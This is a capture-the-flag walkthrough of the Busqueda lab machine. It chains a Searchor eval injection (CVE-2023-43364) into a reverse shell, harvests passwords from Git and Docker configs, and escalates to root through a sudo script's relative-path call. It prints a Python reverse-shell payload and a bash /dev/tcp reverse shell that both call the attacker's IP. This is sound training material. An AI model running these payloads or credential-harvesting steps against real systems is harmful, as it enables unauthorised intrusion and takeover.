Busqueda

Box info

Enumeration

Nmap

Let's start by scanning the target with Nmap:

szczygielka@hacks$ nmap -sVC -p- 10.129.215.144
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-20 07:13 EST
Nmap scan report for the searcher.htb (10.129.215.144)
Host is up (0.035s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Searcher
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.17 seconds

The Nmap scan result shows that 2 ports are open. SSH is running on port 22 and the Apache HTTP server is running on port 80. The HTTP response shows redirection to the domain http://searcher.htb/. Let's add the following line to the /etc/hosts file:

10.129.215.144    searcher.htb

Exploring website

Now open the domain http://searcher.htb/ via a web browser. The website seems to be a search engine. The webpage allows us to select a search engine and based on the entered phrase, it redirects us to the search result in a selected engine or returns the URL address of the query.

At the bottom of the website, we can see that the webpage uses Flask and Searchor 2.4.0. From the Searchor documentation, we find out that this is the Python library used to simplify web scraping, obtaining information, and generating search query URLs. More information about this library can be found here. Since we know what version of the Searchor is used on the website, let's check if this library has any vulnerabilities.

CVE-2023-43364

Search results for possible vulnerabilities for this library on the Internet indicate that the Searchor library up to version 2.4.1 seems to be vulnerable to Arbitrary Code Execution due to the use of an unsafe implementation of an eval method.

Vulnerable code:

url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

If the query parameter is not sanitized, it may lead to remote code execution. In the version 2.4.2 of Searchor this vulnerability was patched as we can check here.

Exploitation

The information found shows that the version of the library found should also be vulnerable. This vulnerability can be exploited by using the following method, which should allow us to obtain a reverse shell:

To exploit the library we have to run the listener on our attacking machine and send the prepared payload as a value of the POST query parameter, which using Python will connect to our listener.

Let's prepare the nc listener:

nc -nvlp 443

Now prepare the payload with the proper IP and listening port:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.172',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

The payload can be sent directly from the web browser, but in this case, we will use Burp:

After sending the POST request with payload, we get a reverse shell:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.215.144] 46702
/bin/sh: 0: can't access tty; job control turned off
$ 

Let's upgrade the shell via the following command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We get a reverse shell as svc user:

svc@busqueda:/var/www/app$ whoami
svc

User flag

The previous steps lead us to the svc user. The user flag can be obtained from /home/svc/user.txt.

Privilege escalation

In the user's home directory, we find the .gitconfig file:

svc@busqueda:~$ ls -la
total 36
drwxr-x--- 4 svc  svc  4096 Apr  3  2023 .
drwxr-xr-x 3 root root 4096 Dec 22  2022 ..
lrwxrwxrwx 1 root root    9 Feb 20  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc  svc   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 svc  svc  3771 Jan  6  2022 .bashrc
drwx------ 2 svc  svc  4096 Feb 28  2023 .cache
-rw-rw-r-- 1 svc  svc    76 Apr  3  2023 .gitconfig
drwxrwxr-x 5 svc  svc  4096 Jun 15  2022 .local
lrwxrwxrwx 1 root root    9 Apr  3  2023 .mysql_history -> /dev/null
-rw-r--r-- 1 svc  svc   807 Jan  6  2022 .profile
lrwxrwxrwx 1 root root    9 Feb 20  2023 .searchor-history.json -> /dev/null
-rw-r----- 1 root svc    33 Feb 19 20:06 user.txt

From this file, we find out the username and e-mail address, that might be helpful in the future:

svc@busqueda:~$ cat .gitconfig
cat .gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks

The presence of a .gitconfig file in the home directory, responsible for the global Git configuration, may indicate the presence of Git repositories in the file system. The find command returns us 2 locations of 2 directories with Git repositories:

svc@busqueda:~$ find / -type d -name .git 2>/dev/null
/var/www/app/.git
/opt/scripts/.git

Let's move to the first .git directory and analyze its contents. In the config file, we find a URL that seems to contain the credentials of the user cody to the subdomain gitea.searcher.htb:

svc@busqueda:/var/www/app/.git$ cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

Add the found subdomain to the /etc/hosts file and go to this webpage using the web browser:

From the documentation of Gitea, we find out that it is an all-in-one software development service, it includes Git hosting, code review, team collaboration, package registry, and CI/CD. More information about Gitea can be found here.

Let's try to log in as a user cody, entering the password we found:

We log in successfully as a cody. On the platform, we can see there is another user administrator:

On the website, we can find a repository called Searcher_site, containing the source code of the run Searcher web application:

After analyzing the repository, we do not find anything interesting in it. Trying to log in as the administrator with the cody's password also fails. Let's try to use the password we found to log in as the svc user via SSH:

szczygielka@hacks$ ssh svc@10.129.215.144
The authenticity of host '10.129.215.144 (10.129.215.144)' can't be established.
ED25519 key fingerprint is SHA256:LJb8mGFiqKYQw3uev+b/ScrLuI4Fw7jxHJAoaLVPJLA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.215.144' (ED25519) to the list of known hosts.
svc@10.129.215.144's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb 20 01:14:57 PM UTC 2024

  System load:                      0.0
  Usage of /:                       80.2% of 8.26GB
  Memory usage:                     50%
  Swap usage:                       0%
  Processes:                        238
  Users logged in:                  0
  IPv4 address for br-c954bf22b8b2: 172.20.0.1
  IPv4 address for br-cbf2c5ce8e95: 172.19.0.1
  IPv4 address for br-fba5a3e31476: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.215.144
  IPv6 address for eth0:            dead:beef::250:56ff:fe96:1a75


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Apr  4 17:02:09 2023 from 10.10.14.19
svc@busqueda:~$ 

SSH login is successful. Let's check if the svc user can execute any commands using sudo:

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

The output of the sudo -l command indicates that we can run the /opt/scripts/system-checkup.py script with sudo privileges using python3. Checking script permission we can see that user svc does not have the right to read that script:

svc@busqueda:~$ ls -la /opt/scripts/system-checkup.py
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py

So let's try to run it:

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

After executing the command, we receive information that we can execute this command with three different arguments: docker-ps, docker-inspect and full-checkup. Let's run the script with each of the arguments:

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   13 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   13 months ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

Calling the script with the docker-ps argument returned information about two running containers. However, to run the script with the docker-inspect argument, two additional arguments are necessary. The script executed with a full-checkup argument returns the error information Something went wrong.

So let's find out how to properly run the system-checkup.py script with the docker-inspect argument. The Docker inspect documentation shows that to obtain the container image configuration in JSON, the format can be specified as follows:

--format='{{json .Config}}'

Let's first dump the configuration for the gitea container:

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea
{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}}

Configuration of gitea container after formatting:

{
    "Hostname": "960873171e2e",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "ExposedPorts": {
        "22/tcp": {},
        "3000/tcp": {}
    },
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
        "USER_UID=115",
        "USER_GID=121",
        "GITEA__database__DB_TYPE=mysql",
        "GITEA__database__HOST=db:3306",
        "GITEA__database__NAME=gitea",
        "GITEA__database__USER=gitea",
        "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "USER=git",
        "GITEA_CUSTOM=/data/gitea"
    ],
    "Cmd": [
        "/bin/s6-svscan",
        "/etc/s6"
    ],
    "Image": "gitea/gitea:latest",
    "Volumes": {
        "/data": {},
        "/etc/localtime": {},
        "/etc/timezone": {}
    },
    "WorkingDir": "",
    "Entrypoint": [
        "/usr/bin/entrypoint"
    ],
    "OnBuild": null,
    "Labels": {
        "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
        "com.docker.compose.container-number": "1",
        "com.docker.compose.oneoff": "False",
        "com.docker.compose.project": "docker",
        "com.docker.compose.project.config_files": "docker-compose.yml",
        "com.docker.compose.project.working_dir": "/root/scripts/docker",
        "com.docker.compose.service": "server",
        "com.docker.compose.version": "1.29.2",
        "maintainer": "maintainers@gitea.io",
        "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
        "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
        "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
        "org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
    }
}

In the returned configuration we will find the gitea database login details:

GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh

We can check whether the newly found password will allow us to log in as an administrator user on the Gitea website:

Success!!! Now let's review the administrator's repositories:

One of the files on the repository is the system-checkup.py script, which is probably the one we can execute with sudo privileges as the svc user:

Let's take a closer look at the execution of the script with the full-checkup argument, which previously informed us that something went wrong:

elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

The code snippet indicates that the full-checkup.sh script is invoked from the user's current directory (i.e. the directory where the user is currently located) and runs the system-checkup.py script. This means that the full-checkup.sh script will be run from the path where we will execute the following command, in this case from the /home/svc directory:

vc@busqueda:~$ pwd                                                                                                                                                                                                                          
/home/svc                                                                                                                                                                                                                                    
svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py full-checkup                                                                                                                                                                     
Something went wrong

We can therefore create our script with the same name with any content, and run it indirectly using the system-checkup.py script. Since the script full-checkup.sh will run with sudo privileges, we can try to escalate our privileges.

So let's create our script in the svc user's home directory called a full-checkup.sh, with the payload which should allow us to connect with our attacking machine and run listener.

Let's start the listener using nc:

szczygielka@hacks$ nc -lnvp 9000

Now create our script in the svc user's home directory called full-checkup.sh, with the following content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.172/9000 0>&1

Add its rights to execute:

svc@busqueda:~$ chmod +x full-checkup.sh

Then run the system-checkup.py script in the directory with our prepared script:

sudo python3 /opt/scripts/system-checkup.py full-checkup 

We got a reverse shell as root:

szczygielka@hacks$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.14.172] from (UNKNOWN) [10.129.215.144] 33844
root@busqueda:/home/svc# 

Root flag

The previous steps lead us to the root user. The root flag can be obtained at /root/root.txt.

Last updated